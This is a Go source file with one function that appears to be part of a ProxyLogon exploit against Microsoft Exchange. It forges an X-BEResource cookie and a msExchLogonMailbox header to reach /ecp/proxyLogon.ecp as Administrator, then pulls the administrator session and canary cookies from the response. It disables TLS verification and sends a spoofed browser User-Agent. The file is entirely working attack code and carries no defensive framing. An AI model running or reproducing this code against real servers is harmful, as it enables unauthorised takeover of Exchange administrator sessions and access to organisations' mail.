package lib

import (
	"crypto/tls"
	"fmt"
	"net/http"
	"strconv"
	"strings"
	"time"
)

func GetCookie(url, fqdn, sid string) (netsession,exsession string){
	SID := fmt.Sprintf("<r at=\"Negotiate\" ln=\"Admin\"><s>%s</s></r>", sid)
	cli := &http.Client{Transport: &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
		Timeout: time.Second * 5}
	request, err := http.NewRequest(http.MethodPost, url, strings.NewReader(SID))
	if err != nil {
		panic(err)
	}
	request.Header.Add("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:86.0) Gecko/20100101 Firefox/86.0")
	request.Header.Add("Accept", "*/*")
	request.Header.Add("Connection", "keep-alive")
	request.Header.Add("Cookie", "X-BEResource=Administrator@"+fqdn+":444/ecp/proxyLogon.ecp?a=~1942062522;")
	request.Header.Add("msExchLogonMailbox", sid)
	request.Header.Add("Content-Type", "text/xml")
	request.Header.Add("Content-Length", strconv.Itoa(len(SID)))

	do, err := cli.Do(request)
	if err != nil {
		panic(err)
	}
	defer func() {
		_ = do.Body.Close()
	}()
	if do.StatusCode != 241 {
		fmt.Println("[x] Can Not Get User Cookie")
	}
	values := do.Header.Values("Set-Cookie")
	split := strings.Split(values[0], "=")
	i := strings.Split(split[1], ";")

	i2 := strings.Split(values[1], "=")
	i3 := strings.Split(i2[1], ";")
	return  i[0] ,i3[0]
}
